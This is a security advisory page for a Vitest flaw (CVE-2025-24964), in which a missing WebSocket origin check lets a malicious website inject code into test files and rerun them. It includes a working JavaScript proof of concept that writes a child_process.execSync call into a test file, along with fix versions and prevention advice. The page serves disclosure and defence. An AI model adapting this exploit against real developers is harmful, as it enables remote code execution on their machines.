GHSA-9crc-q9x8-hgqq CVE-2025-24964
Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
- Severity
- 9.6 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.68%
- Chance of exploitation in the next 30 days. Higher than 52.47% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1385 Missing Origin Validation in WebSockets
- Fix
1.6.1- Upgrade vitest to this version or later
Description
Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
Details
When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
PoC
- Open Vitest UI.
- Access a malicious web site with the script below.
- If you have
calcexecutable inPATHenv var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| vitest | >= 1.0.0, < 1.6.1 |
1.6.1 |
| vitest | >= 2.0.0, < 2.1.9 |
2.1.9 |
| vitest | >= 3.0.0, < 3.0.5 |
3.0.5 |
| vitest | <= 0.0.125 |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
vitest npm → 1.6.1
- npm
npm install vitest@1.6.1- yarn
yarn add vitest@1.6.1- pnpm
pnpm add vitest@1.6.1
Severity breakdown
CVSS 3.1 9.6
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-1385: Missing Origin Validation in WebSockets
The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid.
How to prevent it
- Implementation: Enable CORS-like access restrictions by verifying the 'Origin' header during the WebSocket handshake.
- Implementation: Use a randomized CSRF token to verify requests.
- Implementation: Use TLS to securely communicate using 'wss' (WebSocket Secure) instead of 'ws'.
- Architecture and Design, Implementation: Require user authentication prior to the WebSocket connection being established. For example, the WS library in Node has a 'verifyClient' function.
- Implementation: Leverage rate limiting to prevent against DoS. Use of the leaky bucket algorithm can help with this.
- Implementation: Use a library that provides restriction of the payload size. For example, WS library for Node includes 'maxPayloadoption' that can be set.
- Implementation: Treat data/input as untrusted in both directions and apply the same data/input sanitization as XSS, SQLi, etc.
References
Advisories
Packages
Other links
- github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq
- github.com/vitest-dev/vitest/commit/191ef9e34c867d0efd04f49b3d38193a68e825dc
- github.com/vitest-dev/vitest/commit/7ce9fbb4972d45c6fd34c843645ef6f549bbb241
- github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383
- github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/pack…
- github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/pack…
- vitest.dev/config
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-82fw-gwwq-j7x9 Vitest: Path Traversal / Arbitrary File Read via @vitest/mocker Redirect Mock | Medium | Also affects vitest |
| GHSA-5xrq-8626-4rwp When Vitest UI server is listening, arbitrary file can be read and executed | Medium | Also affects vitest |
| GHSA-78mf-482w-62qj Nginx-UI: Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints | High | Same weakness, CWE-1385 |
| GHSA-jcc7-9wpm-mj36 Next.js: null origin can bypass dev HMR websocket CSRF checks | Medium | Same weakness, CWE-1385 |
| GHSA-9f65-56v6-gxw7 Claude Code Improper Authorization via websocket connections from arbitrary origins | High | Same weakness, CWE-1385 |
| GHSA-3h52-269p-cp9r Information exposure in Next.js dev server due to lack of origin verification | Medium | Same weakness, CWE-1385 |
| GHSA-vg6x-rcgg-rjx6 Websites were able to send any requests to the development server and read the response in vite | Medium | Same weakness, CWE-1385 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor